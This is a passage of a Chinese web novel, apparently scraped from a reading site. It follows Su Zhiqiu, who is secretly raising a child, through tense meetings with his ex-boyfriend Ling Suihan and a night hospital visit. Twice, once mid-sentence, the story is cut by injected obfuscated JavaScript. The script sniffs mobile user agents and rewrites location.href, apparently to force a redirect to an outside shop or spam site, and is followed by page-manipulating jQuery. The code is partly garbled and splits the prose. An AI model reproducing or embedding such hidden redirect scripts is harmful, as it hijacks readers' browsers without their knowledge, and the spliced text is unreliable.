不过,或许凌岁寒不在意也说不定,毕竟他也是当爸爸的人了。 他没有放任自己想下去,疑惑地抬头问:“你不是走了吗?” 凌岁寒插着口袋的手一顿,淡淡道:“马上走。” 9. 第 9 章 苏致秋哦哦了两声,见凌岁寒看了一眼自己腿上的粥,犹豫着举起来问:“我那会出去买的,就是……不知道你想喝什么样的,所以买的瘦肉粥。” 扫了一眼简陋的粥碗,凌岁寒皱了皱眉,没说话。 苏致秋没有忽略他神色的变化,笑了笑,只是道:“你不吃我就自己吃了啊。” 他揉了揉肚子,“正好有点饿。” 说完,苏致秋拿起勺子,还真吃了几大口,压下了胃中的油腻。 虽然放凉了,但味道还是不错的。 可能是过过苦日子,他不喜欢浪费食物,好在分量也不大,苏致秋三口两口,将一碗粥吃下了肚。 他吃饭时向来很认真,很香,直到盖上盖子,他才忽然想起对面还有个人在看着自己。 一向矜贵的凌少爷却破天荒地没有出声,只是默默地看着他。 苏致秋后知后觉有点尴尬,他拿纸巾擦擦嘴,本想为自己找回点形象,想到方星刚刚的话,他又觉得没什么必要。 “你去整容了?” 凌岁寒却猝不及防地开了口。 低沉的嗓音传到耳边,苏致秋手里的塑料盒再次一抖。 他猛地侧头看了凌岁寒一眼。 凌岁寒正盯着他的脸看,目光一错不错。 他抬头一摸,触碰到一手温热的皮肤,这才反应过来自己刚刚吃粥的时候摘掉了口罩。 这是他第一次在凌岁寒面前完全暴露自己的容貌。 苏致秋反应过来,第一反应不是回答,而是下意识从口袋里掏出口罩。 刚要戴上,啪的一声,他错愕地抬起头。 凌岁寒快步走过来,一手握住他的手腕,阻止了他的动作。 他站在楼梯下,高高的身影挡住头顶的灯光,居高临下地看着坐在台阶上的苏致秋。 苏致秋试着挣了挣,但那只手掌虽漂亮修长,力气却一如既往得大,牢牢禁锢住,让他无法逃脱。 这样不容反抗的强迫,让他有点不自在。 “说话啊,哑巴了?” 凌岁寒逆着光,神色晦暗不明地盯着他,看不出是喜是怒地冷冷说。 面对这样不容逃避的目光,苏致秋只能有些狼狈地侧过头去,怕被看出脸上的不自然。 “没整容。” 他稀里糊涂地否认了这句话。 手却依旧没松开,甚至加重了力气。 随着恐惧焦虑的情绪在心底升起,苏致秋也冒出一股无名火,低喝道:“凌少,松手!” 紧紧握着他手腕的手一顿,不知是为他的否认,还是为他的这个称呼。 然而,凌岁寒显然还是一如既往的骄纵脾气,非但没有听话地放开他,反而愈发过分地用另一只手抓住了他的头发。 苏致秋只感觉头皮一痛,随后不受控制地仰起头来,被迫和那双荡漾多情的桃花眼对视。 凌岁寒放轻了力道,只微微用力抵着他的额头,让他不能再低下头去。 “苏老板这么凶干什么?” 他几乎是从牙缝里挤出几个字,“怎么,是前队友没资格知道吗?” 苏致秋一顿,刚要开口,就被眼前人打断。 “那,”凌岁寒眯起眼,显得多情又冷漠,“前男友呢?我这个和你睡过的前男友,配得到你的一句解释吗?” 他刻意加重了尾音的解释二字,宛若无声的暗示。 苏致秋感觉胃里一阵翻腾,刚刚吃下去的粥此刻仿佛在他胃里打架,翻江倒海。 他强压下去,体内比胃更疯狂翻滚的,是心脏。 即使早就过上新的生活了,但猝不及防听到对方亲口说出前男友三个字时,苏致秋还是心口一疼。 是“前”男友。 他知道对方想要的并不仅仅是面容变化的解释,还有当年那场分别的解释。 可惜,他连前者的真相都无法告诉他,更惘论后者了。 故意装作没听出话外之意,苏致秋做了个呼吸,恢复往日的耐心,“真没整容,就是……出了点事,慢慢就变了。” 他说得含含糊糊。 昏暗的灯光模糊了凌岁寒凌厉的下颌,让他多了几分柔和。 “什么事?” 凌岁寒也不复刚刚的咄咄逼人,只是平静地追问。 苏致秋就是随口一说,哪知道什么事。 他脑子转得飞快,顿了顿,脱口而出道:“病了,做了个手术。” 凌岁寒不问了,只是沉默地看着他,无声的催促。 “从肚子里取了个东西出来,”苏致秋半真半假地胡说八道着,“可能有激素影响什么的,就变了。” 说完,苏致秋再次剧烈挣扎起来,他恐惧,害怕凌岁寒在逼问,会真得暴露什么马脚。 他已经尽力了,他不擅长撒谎,也不喜欢撒谎。 偏偏,每次面对凌岁寒的时候,他总要想出各种各样的谎言来骗他。 得到答案后,凌岁寒却依旧不肯松手。 他明显怔了怔,在黯淡的灯光下,神色慢慢变得复杂。 良久,凌岁寒低头望着他这张脸,问:“所以你当时突然退队离开北城,是因为生病了。” 他没用疑问句,还是陈述的语气,仿佛已经笃定苏致秋当年的病重。 苏致秋怔了怔,回过神来。 明白过来凌岁寒在想什么绝症的狗血剧情之后,他一颗心猛地下坠,十分不是滋味。 尽管现实比他的想象还要狗血一万倍。 凌岁寒慢慢松开了他的手,眉目间带着掩不去的认真,“那现在呢,病好了吗?” 这是两人重逢以来,苏致秋第一次他这么温和的语调,一如从前。 有一瞬间,苏致秋有种点头的冲动。 他心里清楚,此时此刻顺着凌岁寒的话说下去,那道五年来横在两人间的鸿沟就可以暂时填上。 凌岁寒或许能释然,不会再一直纠结过去的事,能继续坦然地享受自己顺风顺水的人生和美满的家庭。 两人做不了朋友,还能做个体面的前队友,见面偶尔打个招呼,说句话。 说不定,凌岁寒还会因为他生病而同情他,对他一如既往地照顾,两人能回到从前。 而自己,也不用再像这样心惊胆战,连重新回北城,都用了整整五年来鼓起勇气。 苏致秋有点阴暗地承认,有那么一刻,他动心了。 但最后,他还是抿抿唇,压下再次翻江倒海的胃,吸了口气,道:“凌岁寒。” 这三个字仿佛魔咒,瞬间让面前人抬起头看着他,目光发亮。 “当年我跟你分手,不是因为生病。” 苏致秋站在台阶上,这次轮到他居高临下地看着下面的凌岁寒。 “生病是前几年的事了,那时候……我没事。” 或许就是因为站得太高了,所以他能清晰地看清那双闪着光的桃花眼愣了愣,慢慢黯然。 苏致秋亲眼看着那双眼睛恢复了灰扑扑的颜色,混在昏暗中,竟显出几分木然。 与那张漂亮到耀眼的脸蛋极为不衬。 长着这么优越夺目的脸的人,似乎天生就应该光芒万丈,这样空洞的神色与他有着天然的违和。 “所以……你走之前发给我的那条信息,”凌岁寒的睫毛颤了颤,几乎听不出声调,“是真心的?” 苏致秋的唇瓣动了动,最终还是没能说出一个字。 他撒的谎够多了,死后一定会下地狱。 但即使是这样,他还是不想再多欺骗凌岁寒一次。 即使这个谎言或许能换来他们重归于好,但苏致秋也不忍心。 是带着对他的恨意活着,还是在一个虚构的假象中释怀一切。 似乎后者,无论对凌岁寒,还是对他,都更好。 但他已经给不了凌岁寒真相,就不要残忍地再用一个谎言,让凌岁寒活在假象中了。 他宁愿凌岁寒恨他,厌恶他。 尽管没有开口,但凌岁寒已经从无声的默然中得到了答案。 他没有错过苏致秋面上的一丝神色,他能看出来,苏致秋说得是真的。 不是因为生病才离开他。 而是真得不要他了。 他静静地站在楼梯下,就连头顶的声控灯都因为两人良久的沉默而慢慢熄灭。 苏致秋有点夜盲,一片漆黑里,他只能看到面前的轮廓,却分辨不出对方的神色。 他现在也无暇再顾及凌岁寒的反应,仿佛有只无形的大手攥紧他的胃,用着狠劲,连带着他整个人都一抽一抽得痛。 疼得他都分不清到底是胃还是心口疼。 下一秒,一道冷戾的声音飘进他的耳朵。 “我说怎么五年不见,变成丑八怪了。” 凌岁寒冷冷地盯着他,十分嫌弃的样子。 不等苏致秋被骂得心口一酸,凌岁寒就吐出一个冰冷的字。 “滚。” 对方又大声重复了一遍,带着浓浓的冷漠,“滚出去!” 苏致秋却如蒙大赦。 几乎在凌岁寒这个冰冷的字刚出口时,他就手脚并用地爬上楼梯,狼狈地落荒而逃。 厚重的门板打开,又砰得一声关上。 楼梯间的声控灯被惊亮,投下晦暗的光,落到那张殷红的唇上,透出一抹被狠狠咬出的血色。 凌岁寒却没管,任由血珠不断渗出来,在他的唇上凝结成疤。 北方夜风寒重,几片落叶呼啸着在空中盘旋,卷走那人留下的最后一丝温度。 凌岁寒站在寒风中,一动未动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498521|202616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏致秋并没有回工作室。 他直接冲进厕所吐了半天,却什么也没吐出来。 好在,这股劲很快就下去了,他慢慢舒展开因疼痛而皱成一团的脸。 走到洗手池前,夜晚停了热水,苏致秋只用凉水在脸上弹了弹。 冰凉的水滴落到脸上,让人立刻就清醒起来。 他撑着胳膊,有点狼狈地抬起头,盯着眼前的镜子。 镜中人脸色苍白,难看得很,眼眶下是淡淡的倦怠,只有一张唇因为太疼而被咬得红肿。 这个样子的他,还真有点丑。 苏致秋做了几个深呼吸,尽量让自己不再想起刚刚在楼梯间的事,回了工作室。 他没在外面耽误太多时间,回去的刚刚好。 大家已经到了收尾阶段,正在忙着卸妆、收拾机器,他整理了一下口罩,默默走过去帮忙。 方星正在卸妆,一转头瞥到他,颠颠地跑过来道:“苏哥,你干啥去了?” 苏致秋的手一顿,若无其事地垂下头道:“去外面吃了点东西。” 方星哦了一声,也不说话了,就蹲他旁边,一边抬着脸让人卸妆,一边看着他忙活。 也不知道他有什么好看的,奇怪得很。 要是放到平时,苏致秋一定不会就这么冷场,肯定要借势为工作室拉拉好感。 但现在,他肚子不舒服,心里更难受,实在没心情管方星。 正这么想着,苏致秋脸色一白,那股说不出的疼又开始了。 他强撑着把最后一件设备归置好,看着大家纷纷打完招呼离开。 化妆师小姑娘和宣传组的小姑娘合租,两人招呼他一起走。 苏致秋不想让人担心,强笑一声,“我弄个东西,马上走,你俩路上注意安全,到家说一声。” 门被关上,偌大的工作室里只剩下了苏致秋一个。 他想给自己倒杯热水,腹中却一阵绞痛,让他简直寸步难行,只能趴在桌子上缓过那股劲。 他有点后悔刚才逞强了,起码先让两个小姑娘帮他买个药。 想掏出手机给苏致枫打个电话,疼痛与反胃却渐渐让他意识模糊。 时针指到十二,夜深露重,空旷的工作室慢慢泛起寒意,窗上凝结了薄薄的冰霜。 苏致秋又疼又冷,把自己蜷缩成一团,手机似乎在口袋中震动,他却连拿出来的力气都没有了。 他也不知道过去了多久,似乎是几秒,又似乎很久很久。 疼痛让他几乎失去了所有感知,只有冷,渗入骨缝的冷与痛。 不知过了多久,一双手忽然放到了他的肩头。 那双手带着热意,透过布料,依旧能感到那股温暖。 对于一身冷汗的苏致秋来说,简直是太阳般的存在。 他循着本能直起身去抓那双手,将头靠在那人的身上,贪婪地汲取着对方身上传来的热意。 对方似乎被他的动作吓了一跳,却很快回过神来,推开他,冷声道:“苏老板,请自重!” 苏致秋被他一推,没什么力气地往下倒。 男人一把拉住他,过了半晌,对方认命地僵着手将他朝自己怀里按了按。 鼻尖萦绕着好闻的味道,有点熟悉,总感觉在哪里闻到过。 苏致秋迷迷糊糊地闭着眼,脑中忽然灵光一现。 是凌岁寒。 他想开口说什么,却实在张不开嘴。 对方似乎以为他晕过去了,下一秒,苏致秋只感觉身上一重,那件带着淡淡香气的大衣被人披到了他身上。 带着温度的衣服一上身,他整个人都暖和了几分。 不等他开口,身体突然悬空了。 苏致秋惊讶地睁开眼,一只大手揽过他的腰,另一只手紧紧抱着他的腿。 他被凌岁寒抱在怀里,还是公主抱。 没了厚重的大衣阻挡,苏致秋的侧脸靠着男人的胸膛,几乎能隔着薄薄的毛衣,听到对方一下一下的心跳声。 抬起头,苏致秋只能看到凌岁寒清晰的下颌线,和修长的脖颈。 他虽是说不出话,却依旧试图推了推凌岁寒的胳膊,想让他放自己下来。 只是他平时尚且比不过凌岁寒的力气,现在就更没什么劲了。 似是感受到怀里人的动作,抱着他的胳膊紧了紧,瘦削结实的小臂搂在他的屁股上,硌得他屁股有点疼。 隔着衣服,他也能感受到搭在自己腰上的手传来的温度。 有点烫,还有点痒,灼烧着他的皮肤。 苏致秋疼痛之余,竟感到自己的脸不受控制地红起来,一直红到了耳根。 他起反应了。 就像重逢那天一样。 凌岁寒只是握了握他的手,只是抱了抱他,他就没出息得石更了。 10. 第 10 章 苏致秋大窘,又怕被凌岁寒发现。 如果被发现的话,他都不敢想象凌岁寒会如何看待自己。 欲求不满、变态,还是为前任对他的欲望而恶心。 这样想着,或许是太紧张,苏致秋又是一股作呕感袭来。 抱着他朝外走的人像是察觉到他的异样,停下匆忙的脚步看了他一眼,皱眉问:“还冷?” 苏致秋捂着肚子,摆摆手。 “那你抖什么?” 苏致秋狠狠噎了一下,下意识拽了拽大衣下摆,遮住自己的难言之隐。 他拼命拍了拍凌岁寒的胳膊,指着嘴示意自己要吐。 凌岁寒一直把他抱到洗手间,才放他下来。 苏新吐完,狼狈地从隔间出来,看了凌岁寒一眼。 他洗洗手,深呼吸了几口气,感觉吐出来好受多了。 不该吃那两串凉掉的烤串的。 苏致秋看看点,这才惊觉已经十二点多了。 他打起精神,断断续续道:“那个……谢谢,我没事了,你……” 凌岁寒直接抬手打断了他的话,“去医院。” 苏致秋啊了一声,回过神后,摆手道:“不用不用,已经不疼了,很晚了,你先回去吧,我自己可以。” 凌岁寒露出一丝不耐,“你要是打着装虚弱靠近我的心思,那大可不必,我只是提醒你一声而已,去不去是你自己的事,和我没关系。” 苏致秋有点尴尬起来,他真没那么想,只是他听到医院两个字就本能地抗拒。 他用笑容遮掩着依旧微微抽痛的胃部,轻松道:“真不用,就是吃了点凉的,已经好了。” 凌岁寒靠在洗手间对面的墙上,抱着手臂,单薄的黑色高领毛衣勾勒出他优越的身形,衬得他很白。 一米八七的身高,宽肩窄腰,穿着黑色牛仔裤的腿又长又直,随意靠在那里,就莫名勾人。 他出口的话没有得到回应。 凌岁寒没再跟他废话。 苏致秋有点尴尬地看了凌岁寒一眼。 凌岁寒忽然翻了个白眼,直起身,迈开长腿朝前走去。 看着他的背影,苏致秋缓缓吐出一口气,不知是庆幸还是失落。 那人一直走到电梯门口,却忽然转过身,一错不错地看着他。 苏致秋一怔,一抬手反应过来。 他急忙脱下身上的大衣,走过去还给凌岁寒。 “谢谢。” 他低声道。 凌岁寒没接。 苏致秋眨眨眼,展开大衣,试图披到他肩上。 下一秒,他的手被人用力一推,大衣没拿稳,掉到了地上。 听说这件衣服十好几万呢。 苏致秋一顿,有点心疼地弯腰捡起来,拍打着上面沾到的土。 他知道凌岁寒是不想让自己碰他,但拿衣服出什么气呢,这么好的衣服也不珍惜。 “苏致秋。”凌岁寒叫了他的名字,用一种认真的语气。 让苏致秋下意识抬起头来看他。 “你其实是故意的吧?” 凌岁寒一手插进裤兜里,直直望着他,轻启薄唇,“一边说着你没事,一边趴在桌子上装可怜。” “一边推我不要我抱,一边抱着我的衣服拼命嗅我身上的味道。” 凌岁寒微扬起下巴,一脸嘲弄地道:“苏致秋,你怎么那么心机呢?” 他尾调轻柔,却令人刹那间无地自容。 苏致秋攥紧大衣,手足无措地站在原地,脸上青一阵白一阵,几乎说不出话来。 他想为自己辩驳一二,却又不得不承认凌岁寒说的是事实。 尽管是被扭曲的事实。 苏致秋的唇瓣颤了颤,刚要开口,就再次被凌岁寒打断。 凌岁寒穿得太单薄,夜风吹得他眯起眼。 他带着恶意地盯着苏致秋,一字一顿道:“还是说,你是在钓我吗,想和前任旧情复燃……” “我没有。” 苏致秋几乎是脱口而出,他望着凌岁寒,摇摇头,带着一丝乞求地轻声道:“你误会了。” “我只是当时太难受了,不太清醒,换做别人我也会那样的,真得不是想钓你,请你放心。” “……” 空气寂静了几秒,凌岁寒垂眸盯了他半晌,逆着光的面容晦暗不明。 过了片刻,他才忽得嗤笑一声,冷冷道:“这样啊。” “口说无凭,证明给我看看。” 凌岁寒俯下身,盯着他道:“看见医院证明你确实病了,我才相信,不然你就是又在骗我。” 他刻意加重了最后两个字,令人难以忽视。 听见医院两字,苏致秋又是一阵本能的抗拒,但听完凌岁寒的话后,他几乎是下意识道:“好,我去,我去,我……没骗你。” 苏致秋一边说着,一边抬起头,正对上一双乌黑澄澈的眼眸,是和苏团团如出一辙的桃花眼。 凌岁寒的眼眶被夜风吹得微微发红,却依旧不掩这双眼睛的潋滟多情,看久了仿佛会被勾走魂魄。 他下意识后退了两步。 凌岁寒收回停留在他口罩上的视线,直起身。 他头也不回地朝前走去,没搭理苏致秋递给他的大衣。 苏致秋只好自己抱着大衣,跟在他身后。 走到楼下,风声更大了,呼啸着卷起片片枯叶,萧瑟无情。 苏致秋看了一眼只着一件黑色毛衣的凌岁寒,有点着急地去开车。 走到车边的前一秒,他才忽然后知后觉一件事。 他的车后座,还放着团团的儿童安全座椅。 只要一打开车门,就能直接看见。 他的手停留在门把上,迟迟没有拉开。 好在,凌岁寒似乎本来也没有打算让他开车,只对他招了招手。 苏致秋走过去,看见一辆停在路边的沃尔沃,很低调,不像凌岁寒豪门少爷的风格。 “这辆车我没怎么开过,不会被发现。” 凌岁寒解释了一句,拉开车门,示意他上车。 苏致秋本已经绕到了副驾驶的位置,看到凌岁寒拉开后座的门,愣了愣,走过去上了车。 是他疏忽了,忘记不能随便坐已婚男士的副驾驶。 汽车发动,凌岁寒踩下油门,飞速地开了出去。 苏致秋看看窗外,刚要开口,凌岁寒就在后视镜中看了他一眼,道:“还疼吗?” 他摇摇头,犹豫一下,又点点头。 不等凌岁寒不耐烦地逼问,苏致秋主动解释道:“没有刚才那么疼了,但还是疼。” 凌岁寒嗯了一声,没多说,只是车速又快了一些。 或许是因为今晚两人的相处总是带着一丝火药味,此刻车内一片寂静,谁也没开口。 苏致秋没什么力气地靠在椅背上,打量了一圈车内。 尽管这辆车算不上什么豪车,却也得八十万了,车内空间很大,内饰也很奢华。 只是有点空,没摆放任何东西,只有副驾驶座位上放着些东西,看不出一丝家庭的痕迹。 不过也正常,像凌岁寒这种活在闪光灯下的人,肯定不会在自己的车上暴露太多东西。 他控制着自己的视线,不让自己过多去窥探凌岁寒的私生活。 车子在一个红绿灯前停下,凌岁寒扭过头来,“怎么不躺下?” 苏致秋疑惑地嗯了一声。 凌岁寒蹙眉道:“后座宽敞,你躺会吧,别一下晕我车上,怪晦气的。” 苏致秋怔了几秒,顺从地躺了下去。 随着车辆的微微晃动,或许是车内充斥着凌岁寒身上的熟悉味道,给了他熟悉的安全感,或许是身上的大衣太暖活,苏致秋慢慢睡着了。 失去意识的前一秒,他脑海中突然冒出一个念头。 凌岁寒刚刚是在委婉的解释么,为不让自己坐他副驾而解释。 尽管苏致秋并没有多想什么。 副驾驶本来就是个带着些亲密色彩的位置,凌岁寒今晚已经直接暗示了自己不要勾引他,他又干嘛给自己找不痛快。 睁开眼的时候,苏致秋迷迷瞪瞪地看了看天花板,反应过来自己不知什么时候已经到医院了。 医院独有的消毒水味道在鼻尖萦绕,让他格外难受,几乎是条件反射地小腹抽痛起来。 他的腿在被子里动了动,随后被人按住了。 “别动。” 苏致秋侧过头一看,这才发现凌岁寒就坐在一边的椅子上看着他,不知道看了多久。 凌岁寒一手按住他,一边示意,“会跑针。” 苏致秋这才察觉自己的手背有点疼,抬起来一看,果然扎着银针。 瓶中的液体已经下去二分之一了,看来自己睡得够久的。 “慢性胃炎,慢性结肠炎,肠应激。” 凌岁寒抬起手,朝他示意了一下手中的硬纸,“你知道自己有这些毛病吗?” 苏致秋这才看清他一直攥在手中的,是自己的报告。 他接过来看也不看,直接放到一边,随口道:“没事,就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498522|202616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今晚吃错东西了,没那么严重。” 不知是不是他的错觉,站在床边的人的脸色似乎难看了几分。 男人的唇紧紧抿起,几乎抿成一条直线。 熟悉凌岁寒的人都知道,这是他气到一定程度的征兆。 苏致秋有点无措,下意识安抚道:“真没事,我自己的身体自己知道。” 他没撒谎。 他已经习惯了,以前他身体很好,连感冒都很少。 但自从生了团团后,苏致秋开始明显感觉到力不从心。 最突出体现在肠胃上,以前他大冬天和温觉非一人吃两根雪糕,温觉非拉了一晚上肚子,他啥事没有。 但现在,即使在夏天,他也是不敢吃雪糕的。 肠胃好像一下子就娇气了许多,他自己也的确是不注意,有时候忙起来饥一顿饱一顿的,早就疼习惯了。 最近没怎么疼过,他今晚就放松了警惕,哪知道给他来了个大的。 他在加的奶爸奶妈群中打听过,很多妈妈都有这种情况,俗称“月子病”,大都是剖腹产伤到了元气,月子又没养好。 正常的生育尚且如此,他这种直接划开肚皮的特殊情况就更不必再说。 孕育一个生命,从来不是那么简单的事。 但这些,就没必要跟凌岁寒说了。 苏致秋一手护在肚子上,侧过头去,躲避着凌岁寒的无名火。 好在,凌岁寒这不知所谓的少爷脾气来得快去得也快,过了几秒,门响了一声,他似乎出去了。 苏致秋借机打量了一圈周围,发现这是一家私立医院,想想也是,凌岁寒的身份不方便带他去寻常医院检查。 但即使是私立医院,也是医院,到处都是寂静的白,浓重的消毒水,冰冷的钢架病床…… 这里的所有东西,无一不提醒着苏致秋,让他不受控制地回忆起五年前的那一天。 那时的恐惧、迷茫,与愤怒,仿佛再次席卷而来,充斥着他的大脑,让他难受得窒息。 凌岁寒推门进来,正好看见他挣扎着下床。 “你又要干什么?” 他一把将手里的东西丢到一边,按住他,怒道:“能不能老实一会?折腾一晚上了,就显着你可怜了是吧?行行行,你可怜我知道了,别给我装模作样了,赶紧躺下,不然我现在就走,让你没地方演去!” 苏致秋被他吼得一脸懵,不知道自己怎么又触发了凌少爷的臭脾气。 他厌恶这个地方,却不能直说,闷闷道:“没闹,我想吐。” 凌岁寒闭上了嘴,深吸口气,扶他去了套间自带的洗手间,他却什么都没吐出来,只是干呕。 “是不是药不管用?” 凌岁寒举着药瓶站在旁边,眉心紧锁,似乎想出去找医生,被苏致秋抓住了。 “不是。” 他颤着声音,“是我自己的原因。” “我能出去输液吗?”苏致秋轻声问,脸色苍白。 凌岁寒的唇又抿起来,“为什么?” “我,”苏致秋动动唇瓣,才低不可闻道:“讨厌医院。” “没人喜欢医院,”凌岁寒看着眼前耷拉的脑袋,淡淡道:“不喜欢这里,就不要生病。” “……” 苏致秋难受得紧,他没了争吵的力气,转身离开。 凌岁寒看着他恹恹地躺回病床,乌黑的发丝垂落在眼旁,衬得他苍白如雪,莫名透出一股不祥之意。 苏致秋闭着眼,一声不吭,只有咬紧的唇暴露着他内心的不平静。 很扎眼,令人莫名怒不可遏。 “苏致秋,你是在和我闹脾气吗?” 凌岁寒居高临下地看着他,问。 正专心抵抗干呕感的苏致秋愣了一下,睁眼看他,不知道怎么继勾引之后,自己又莫名多了一项罪名。 似乎也觉得自己有点过分,凌岁寒闭上嘴。 掀开被子,他没搭理苏致秋惊惶地遮挡,把刚刚丢在椅子上的东西放到他肚子上。 一个暖烘烘的热水袋。 也不知道凌岁寒从哪里弄来的。 热意透过衣服传到肚子里,舒服得苏致秋下意识喟叹了一声。 “我不会拔针。” 凌岁寒盯着他满足的表情,忽然说了一句。 苏致秋捂着热水袋,闻言,惊讶地看了他一眼。 回过神,他急忙道:“没关系,我会。” 他补充了一句,“我自己拔。” 凌岁寒深深地看了他一眼,转身出了病房。 11. 第 11 章 或许是因为有了热水袋,热烘烘的暖意传遍全身,冷汗慢慢退了下去,苏致秋也放松了几分。 凌岁寒也没骗他,果然回来的时候已经办好了手续,一手拿着单子,一手帮他举起吊水瓶。 回到车上,苏致秋不用凌岁寒开车门,自觉上了后座。 “热水袋呢?” 凌岁寒忽然问了他一句。 苏致秋以为他要用,递了过去。 “给我干什么?” 凌岁寒瞥了他一眼,说:“我听他们说,输液的时候把热水袋放到手底下……不会疼。” 苏致秋身形一顿,不知是什么滋味地看了他一眼。 凌岁寒把吊水瓶挂到车顶,发动了车子。 苏致秋不知道他要去哪,反正他现在也无处可去,回家的话,又要平白让团团和苏致枫担心,还不如在外面输完液再回去。 逃离了浓重的消毒水味,苏致秋的脸色一下子好看了许多。 点滴渐渐起了作用,等凌岁寒停下车的时候,他已经感觉自己彻底好了。 他斜靠在座椅上,朝外看了看。 是一家还在营业的药店。 凌岁寒一边开车门,一边戴口罩,也没搭理他,径自下了车。 苏致秋独自躺在车里,看着他的背影进了药店,显然是去给他买药了。 他看着手中的热水袋,有些出神。 说句老实话,要不是自己从有了团团后就再也没有找过别人,他几乎要怀疑自己又怀孕了。 今晚各种干呕、想吐,折磨得他坐立难安。 但在四年前刚怀上团团的时候,这几乎是常事,有那么几个月,天天如此,从早吐到晚,吓得没有经验的他以为要把孩子吐掉了。 那时候,他只有自己。 他太害怕了,不敢告诉任何人,哪怕是亲妈和弟弟。 老妈身体不好,苏致枫那时候才上高中,担不了事,家里的里里外外都只能靠他一个人撑起来。 他找了个理由躲出去,自己租了个房子,别人怀孕都胖了,他却瘦了十几斤。 有那么几个痛苦到极致的瞬间,苏致秋特别想给凌岁寒打个电话,想听听他的声音,一秒都好。 但在拨出去的前一秒,他都控制住了自己。 走在街上,看到扶着准妈妈的家人们,手里拎着小奶瓶、娃娃衣服…… 或许是激素影响,苏致秋承认,他的确有一丁点羡慕。 吐得昏天黑地的时候,他特别特别渴望能有个人来给他倒杯热水,扶他一下,哪怕只是一句安慰也好。 那样,他会好过一点。 不过,一切都只是幻想罢了。 他硬是一个人扛到了快九个月的时候,才通知了老妈和苏致枫。 不过今晚男人为他忙碌的样子,倒是莫名和自己想象中那道身影重合了。 如果那时候身边有凌岁寒陪伴,或许他漫长的孕期会少一些恐惧,能过得好受一些。 当然,过去的事再提也没意义,一切不痛快都是他自作自受,怪不得任何人,没什么好委屈的。 苏致秋收回思绪,翻了个身,余光中瞥到什么东西。 他顿了一下,下意识伸手拿过来。 是一个钱包,黑色的,有点眼熟,跟他丢的那个很像。 或许倒不如说,这好像就是他的钱包,他刚刚看到的就是钱包上挂着的小吊坠! 苏致秋整个人都怔住了,他飞速瞄了一眼窗外,没见凌岁寒的身影,便迅速拉开拉链看了一眼。 熟悉的门禁卡、钥匙、笔,还有…… 苏致秋打开夹层,还有熟悉的照片。 他顾不上思考自己的钱包怎么会跑到凌岁寒的车上,正沉思着,就听见一道响声,抬头一看,凌岁寒走过来了。 他下意识将钱包塞进自己的裤兜里,重新坐好。 “怎么坐起来了?” 凌岁寒扭头看他,手里拎着一个塑料袋子。 “躺累了。”苏致秋轻咳一声。 凌岁寒没多想,只将袋子递给他,“医生让买的,里面有水,一会回去吃点东西,再吃药。” 苏致秋握着矿泉水,心不在焉地应了一声。 他一边翻袋子,一边偷瞄凌岁寒,发觉对方没有留意消失的钱包,这才松了口气。 “苏致秋,”凌岁寒开着车,忽然道:“里面有个小汽车,帮我拿出来。” 苏致秋低头看了看,果然在最底下看到一个塑料盒子,里面装着一辆大红色的汽车玩具,线条流畅,很酷。 他眨眨眼,递给凌岁寒。 凌岁寒不知为何看了他一眼,才放到了副驾上。 苏致秋有点好奇,“药店还卖玩具吗?” “不是,”凌岁寒一手打方向,随口道:“达到消费金额后抽奖抽的,正好拿去……哄人。” 苏致秋第一反应是眼皮一跳。 他唰一下打开袋子。 果然,凌岁寒除了每一种药都买了好几盒之外,还买了厚厚一打暖宝宝,以及几瓶写着猴菇原浆的保健品等等一大堆。 怪不得会抽到质量这么好的小汽车,这也太坑了! “店员说对胃好,你看看有没有用。” 凌岁寒淡淡道。 “真不用,我……” 苏致秋客气的话还没说完,就被凌岁寒打断了。 “别啰嗦了,我是看你瘦得脸都快凹进去了,实在有点丑到我了,才给你买的。” 这是今晚凌岁寒第二次说他丑了。 苏致秋知道自己和五年前是不太一样了,但心里还是委屈,忍不住小声问,“真得瘦得很丑吗?” 明明老妈他们都说依旧很好看啊,不过也可能是在哄他。 凌岁寒在后视镜瞟了他一眼,张张嘴想说什么,最终却只吐出硬邦邦的几个字。 “起码屁股挺肉的,压得我胳膊疼。” 苏致秋颇有些无地自容,没再追问这个伤自尊的问题。 “多少钱?” 苏致秋一边问一边合上袋子,虽然没找到小票,但他已经预感到接下来要吃土的一段日子了。 “干什么?” 苏致秋叹了口气,“我转你。” 凌岁寒在后视镜里看了他一眼,嘴唇动了动,说了句什么。 苏致秋一噎,反驳道:“我,我不是……” “想加我微信就直说,说什么转给我。” 苏致秋百口莫辩,他想争辩,却又怕真得让凌岁寒误会自己是耍小心机,想加他微信。 “收款码就可以。” 最后,他只憋出来一句这个。 凌岁寒拐进一个正在施工的路口,开得认真,没搭理他。 或许是没听见。 苏致秋怕他分心,只好闭上嘴。 他看了一眼副驾驶上的红色小汽车,又酷又可爱,是小朋友会超级喜欢的玩具。 连他这个叔叔第一眼都很喜欢。 一瞬间,他后知后觉凌岁寒选了这个小汽车的原因。 “正好拿去哄人。” 是要拿回家哄孩子吧,那个在商场里被他高高举起的小男孩。 想到这里,一股莫名的感觉涌上心头,苏致秋在车里坐立不安起来。 吱得一声,凌岁寒突然停下车,蹙眉不耐道:“去洗手间?” 苏致秋摇摇头。 “那就别老乱动,影响我开车。” 顿了顿,他忽然又补了几个字,“而且跑针了手会肿。” 凌岁寒的声调似乎放缓一点,在北方的冬夜里,竟带着几分哄人的温柔。 